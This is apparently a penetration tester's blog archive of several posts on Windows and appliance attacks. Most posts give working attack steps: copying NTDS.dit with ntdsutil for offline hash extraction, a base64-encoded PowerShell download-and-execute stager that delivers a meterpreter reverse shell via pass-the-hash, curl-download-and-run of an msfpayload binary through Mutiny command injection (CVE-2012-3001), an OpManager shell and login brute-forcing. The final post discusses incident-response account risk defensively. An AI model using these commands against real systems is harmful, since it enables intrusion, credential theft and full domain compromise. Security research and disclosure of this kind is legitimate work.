Showing posts with label meterpreter. Show all posts
Showing posts with label meterpreter. Show all posts

Monday, March 31, 2014

Retrieving NTDS.dit without a Shell on the DC

It has been increasingly common for organizations to prevent external or outbound connections from their domain controllers. I have seen some use the Windows Firewall, others use non-routable IP addresses and others have installed third-party software to prevent any type of remote access. These are all recommended practices, but some security administrators wrongfully assume that their domain hashes are safe simply because they believe that it is impossible to get a meterpreter shell on any of their DCs.

Sometimes you really have to work to gain Domain Admin privileges, and other times you don't. On more than one occasion (read 2) I have been able to guess a webserver password for Symantec NetBackup servers. The first time, there didn't appear to be a obvious way of converting that access to code execution, but one of the features of the product is the ability to generate custom reports. The report generation utility can be used to generate custom database queries against a Sybase database. Sybase typically runs as SYSTEM and can be used to run commands. Combine that with PowerShell and achieving a memory-resident shell, regardless of AV product,was trivial with PowerSploit.

Armed with a fully-privileged shell on a seldom used backup server, I was in business. First lets look at the tokens on the box:



It looks like the service account is a domain admin and we can impersonate it by migrating into the netbackup service. Now its time to get the hashes and then start going after what really matters - the data. Unfortunately, I could not get the DC to initiate an outbound connection of any kind. Some combination of configuration and/or security products were preventing me from getting a shell on the DC. Without really knowing what is blocking our shells, we needed a safe way to dump the domain hashes. One method that is almost always AV-safe is to use built-in tools. There are write-ups on one method of copying the NTDS.dit, but I prefer a simpler one:


This technique relies on the Ntdsutil binary which ships with Server 2008, but may be found on 2003 servers as well. Next, we can do something similar to obtain the SYSTEM file and download them both with Meterpreter:


Armed with the database and SYSTEM files, you can continue with extracting the hashes offline. May not work in all situations, but it is another way to dump the domain hashes quickly once gaining "domain admin" rights.

-Chris

Thursday, March 28, 2013

PowerSploit + Metasploit = Shells

Metasploit has supported psexec-like functionality with pass-the-hash for several years. Unfortunately, its mostly useless when an AV product is there to delete the uploaded service binary. Recently, a module (/auxiliary/admin/smb/psexec_command) was created that allows you to run a single Windows command with discovered hashes or credentials. This doesn't flag AV, but isn't the full meterpreter shell that we're use to. How can we turn one command into a meterpreter shell?  With PowerSploit and Matt Graeber's Invoke-Shellcode!

The basic steps:


Kali Linux is awesome, but the version of PowerSploit is currently outdated, so lets pull down the script we will eventually run:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

Next we need to append the appropriate function call with LHOST and LPORT parameters and ensure that Apache is running.

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

strings -es /var/www/payload


Call to Function Added
Now that we have the script hosted, we need to build the command we want to execute. Although we could encode the entire command, I have found that building a small staging script is far more reliable. We can use the same method as described in a previous post.

Basically, we are going to Base64 encode our short script block which will pull down the rest of our script: 

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")"
encode="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
echo $command


Now we fill in the rest of the settings of the module (either a password or hash) and use the COMMAND parameter to the encoded command:

Add Command to psexec_command
Next, we start the multi/handler with reverse_https:

Set Up Handler
Finally, we run the module. This uploads a service binary to run our single command. The single command is an encoded PowerShell script which is pulling down the larger Invoke-Shellcode script. Invoke-Shellcode is determining whether the system is x86 or x64, and injecting meterpreter shellcode into an appropriate process:

Get Your Shell
The end result is a meterpreter shell without writing anything more to disk than the psexec_command module does (notice the less than ideal bat files in the above screenshot). This method has proven to be reliable for me over the last few months with lots of other tools as well. I hope you find it useful and maybe someone will be inspired to automate this all into a single module.

As soon as the PTH-Suite is ported to Kali, I hope to show you how to accomplish all of this without writing anything to disk!

***Updated 8/8/2013
So after a few comments and working through encoding issues with several people I finally realized that the actual posted code was incomplete. Instead of working from the post, I continued to work from my own script which was just simply not smart. So I added a screenshot for extra clarity and I apologize to anyone that this frustrated. On the positive side, now there are loads of other ways to pull this off which I wrote about here and you can read more about here and here.


-Chris

Wednesday, October 31, 2012

Mutiny Command Injection and CVE-2012-3001

As with the last post, this post is further explanation of things that I briefly covered at BsidesLV earlier this year.  The disclosure process is still ongoing and slow for some things, but the U.S. CERT has been extremely helpful.  They definitely get better results than I did with any of the vendors and they recently disclosed CVE-2012-3001.

Mutiny Technologies network monitoring appliance is vulnerable to multiple command injection vulnerabilities once authenticated to the web application.  The default username is 'admin' and the default password is 'mutiny'.  Even if those were changed, there are simple ways to guess the password for the 'admin' account which I talked about in a previous post about command injection vulnerabilities.  When connecting to the appliance over HTTP you are presented with something like:

The vendor has already added a nice message reminding people to upgrade and even referenced some "linux vulnerability issues" which would be an interesting way of describing command injection vulnerabilities in their web application.  

In this example, we will log in with the admin account.  Once logged in, we can navigate to the "admin" tab located on the top right.


Next we will go to the "Network Configuration" tab and focus on the "Subnet Mask" field.



To confirm that command injection is possible, lets test by pinging our own address.



Success!  Lets take a look at how the post is formed when changes are made to the network configuration. 



Although the Mutiny appliance ships with a disabled firewall and SSH enabled, lets assume that the attacker has discovered this vulnerability externally or is pivoting through another compromised host.  Lets generate a Meterpreter reverse TCP binary, put it on our webserver and put up a listener.

msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.14 LPORT=8443 R | msfencode -t elf > update



Next, we will have to see what is available on the appliance to download our binary. Unfortunately, wget isn't installed or isn't in the path since all we can tell is that it isn't working. However, Curl is installed so we can download our binary, change the permissions and execute it from the web interface.

curl -o /tmp/update http://192.168.1.15/update
chmod +x /tmp/update
/tmp/update



Now our binary has executed and we have our shell.  What context is the web application running as?



Root.

Please let me know if you have any questions, thanks for reading and sorry about the lack of PowerShell!

-Chris

***Update 3/24/13
Juan Vazquez wrote a Metasploit module to exploit this vulnerability. Check it out!

Friday, April 27, 2012

Command Injection to Code Execution with PowerShell

A common scenario that testers face involves leveraging command injection vulnerabilities into a full-blown shell.  A lot of people view command injection as an old technique, but it is very relevant today.  There are many different types of attacks that end in command injection (e.g. SQL injection), so testers need a way to turn Windows commands into shell access.  There are many documented ways of doing this including FTP, TFTP and downloading through a browser.  These methods work in a lot of cases, but I have seen a rise in organizations that have taken steps to prevent those methods and all of them involve writing a binary to disk.

Some command injection "vulnerabilities" are actually intentional features included by vendors.  The one that I will be using as an example falls into that category and is a part of ManageEngine's OpManger.  OpManager is used by network and system administrators to centrally manage servers and network devices.  As such, it comes with cool features like a "Run System Command" alert profile.  Any command can be run, but we won't receive the results back (blind command injection?).  We could pipe the results to a text file in a directory that we can access through the browser (e.g. /help/user_guide/) , but that would leave evidence that could potentially be discovered.  Thanks to the research of several people, we can easily turn command injection into a full meterpreter shell with PowerShell and not worry about antivirus because we will never write to disk.

You might be wondering how we got here, which is a fair question.  A web server housing such important data would never be accessible externally (google dork: intitle: ManageEngine OpManager inurl:loginpage.do), but maybe we are pivoting from another compromised box.  Since we want to see the page with a browser, we will actually need to port forward to the remote host.




The next stumbling block is the pesky login page.  Logs on appliances are seldom monitored as closely as other servers, so there is a chance that we can "guess" the password with a small dictionary.  OpManager doesn't allow several characters in passwords, so there is a higher chance that a simple dictionary will work.  Maintaining a good dictionary and the ability to generate custom dictionaries are critical tasks for successful testers.  We can use the Firefox add-on Fireforce to utilize our dictionary and hopefully get the admin password. 


Fireforce needs a string to detect a failed login attempt, so we can try to login with our first password guess.  Now we can configure Fireforce with the string "Invalid username and/or password." and load our custom dictionary.



Now that we are all caught up on the backstory, let's use PowerShell to get a meterpreter shell.  This process involves a few steps:

1. Generate shellcode and convert it to a format that PowerShell understands.
2. Drop the shellcode into Matt Graeber's injection script, start a handler and test it.
3. Encode the script using Dave Kennedy's ExecutionPolicy bypass script.
4. Execute the encoded string and continue post-exploitation.

Generating shellcode with msfpayload or msfvenom is pretty straightforward and with a little massaging we can get properly formatted shellcode piped to a text file:

msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.200 LPORT=443 EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- | sed 's/^[^0]*\(0.*\/\*\).*/\1/' | sed 's/.\{2\}$//' | tr -d '\n' > /tmp/powershell_codeexec.txt


Now we can drop that directly into Matt Graeber's shellcode injection script.  Next, start our handler and test the script.  I have seen times where one payload will consistently crash PowerShell and a slightly different one will work flawlessly.  Your mileage will vary, but the important thing to remember is to always test your payloads before deploying them.


The next step is to bypass PowerShell's ExecutionPolicy since we don't know which policy type is being enforced.  We can use Dave Kennedy, Josh Kelley and Kathy Peter's CreateCMD script to encode the entire script into a single command that can be executed through the command injection vulnerability.


Run the script and copy the output.


Now we have a memory resident shell by executing one command without having to worry about antivirus or host-based security products.  Hopefully you can see how easy PowerShell makes this process.  Also, if you run into this scenario with OpManager in a real test, you are more than likely one token impersonation away from domain administrator privileges.


-Chris

Thursday, March 8, 2012

Local Accounts Aren't Safer

Remotely connecting to a compromised machine is almost always a bad idea because of the tremendous amount of risk involved.  It has been my experience that incident responders either underestimate or downplay that risk when writing procedures or handling incidents.  I don't know whether its arrogance or ignorance, but either way the team I am on has frequently exploited it.  Often times, escalating privileges in a domain is just a matter of waiting for an administrator (or incident responder) to connect to a machine that you've compromised and then impersonating those credentials to dump the hashes of the entire domain (including the responder's account). 

Recently, a detailed article written by Mike Pilkington titled "Protecting Privileged Domain Accounts: Safeguarding Password Hashes" was published on the SANS Forensics Blog (I recommend that you read it before continuing).  The article focuses on ways of protecting domain (NT or LM) password hashes (in memory) and briefly mentions other topics that will be discussed in future articles including Access Tokens and Network Authentication.  The methodology used in the article is pretty solid and it was detailed enough for me to setup a similar lab network and recreate the work. However, I feel that the focus on hashes leads the reader to several false conclusions the most notable being that "Network Logins" are safe.

Here are 3 quotes that I feel lead the reader toward an inaccurate conclusion: 
 "...in all situations I can think of, the safest bet is to utilize a local administrative account if you already know the password."
 "Network logons created by tools such as NET USE, WMIC, and PsExec (without "-u" alternate credentials) are safe to use with regard to protecting password hashes. (emphasis is mine) More to the point, any tool that uses only a network logon will prevent your password hashes from being available on the remote machine. To check other tools on your own, simply run the tool of interest against a remote test machine and verify in the remote Windows Event Logs that the tool only results in a Type 3 network logon."
"Also keep in mind, whether the compromised host is down the hall or on the other side of the world, using remote network logon connections is the only way to safely access the host with domain credentials." 
This post is going to focus on the first misconception that local accounts are safer to use.  For brevity’s sake, I will discuss what I feel are other misconceptions in the next post (UPDATE: Mike touches on a those issues in his latest post Safeguarding Access Tokens so I won't belabor the point.)

The following information applies to my lab environment:

Domain:                         obscuresec.lab
Compromised User:       joe.user
IR Account:                   incident.responder
"500" Account:              administrator
Compromised Host:       demo-XPSP2
IR Host:                         demo-IR
Attackers Box:              192.168.1.201
Firewall/Proxy:             192.168.1.200
Internal Network:          10.1.1.0/24

The first quote is mostly accurate if we are appropriately using the "worst-case" scenario.  In the example used in the article, the attacker has most likely gained "NT AUTHORITY/SYSTEM"-level privileges on the box.  That means the attacker has already gained access to the NT (or LM) hashes of all local accounts by any of the methods discussed in the article. Essentially, we are using an account that the attacker likely already owns.

What if we have detected the attack early and the attacker only has user-level credentials as a result of a client-side attack?  What if the attacker hasn't had the opportunity to try these methods of gaining more privilege?  Let's see what could happen if we use the local administrator account to investigate.

Soon after compromising the box with a meterpreter session, the attacker loads the sniffer extension and sniffs the network.  The incident responder uses the local administrator account and "net use" to mount a share to the compromised box and investigates with PsExec.



Next, the attacker analyzes the PCAP for credentials.  An easy way to pull credentials from a PCAP is to use Cain.  Cain displays the NTLM Session Security Hashes which would need to be cracked in order to be useful to the attacker.

As pointed out in the referenced blog post, PsExec passes the username and password in cleartext so that will always be a bad idea.  Instead, PowerShell or WMIC should be used to prevent the credentials from being snagged off the wire in cleartext.

So now the attacker has access to the local "500 account" NTLM session security hash.  This hash can't be passed (it is not the NT hash), but it can be cracked.  If it is cracked, the password is more than likely shared by the administrator account on many other workstations.  Now the scenario appears to have changed to a race condition.  Can the attacker crack the password before you can remove his or her access?  Unfortunately, that argument is also shortsighted.  The attacker can voluntarily disconnect and can take as long as it takes for you to change every workstation's administrator password.

The odds are in the attackers favor if the password is stored in LM or the attacker has discovered a pattern similar to the one used to set the password.  Then, the only thing stopping the attacker is getting back in through a similar client-side attack no matter what you do with the compromised host.  Then the attacker can use WMIC to "administer" any machine that is using the password which is a situation far worse than a single compromised host.
 Also, it is generally easier to track the use of domain account versus a local account.  Very few organizations have the ability to quickly (without connecting to each host) correlate local account usage through the event log.

In this case, the attacker was able to crack the password with his dictionary and Cain.  In my experience, it's just over half the time that we are able to crack the password.  The odds are in the attackers favor whether the account is local or domain.

My argument is that a tailored-access domain account is more appropriate.  I recommend that the account used for risky activity should be low-privileged and heavily-monitored.  The account can be disabled and a member of no groups until needed.  When needed, the account can be enabled and added to the lowest-privileged group that can still administer the potentially-compromised box.  Although there is still a tremendous amount of risk, it can be slightly mitigated by immediately changing the password of the account (rendering access tokens unusable) and disabling it after initial analysis is done.

This concept can be applied to most administrative and security tasks in order to prevent an excess of elevated account "access tokens" which I may still talk about in my next post.  We'll see.

-Chris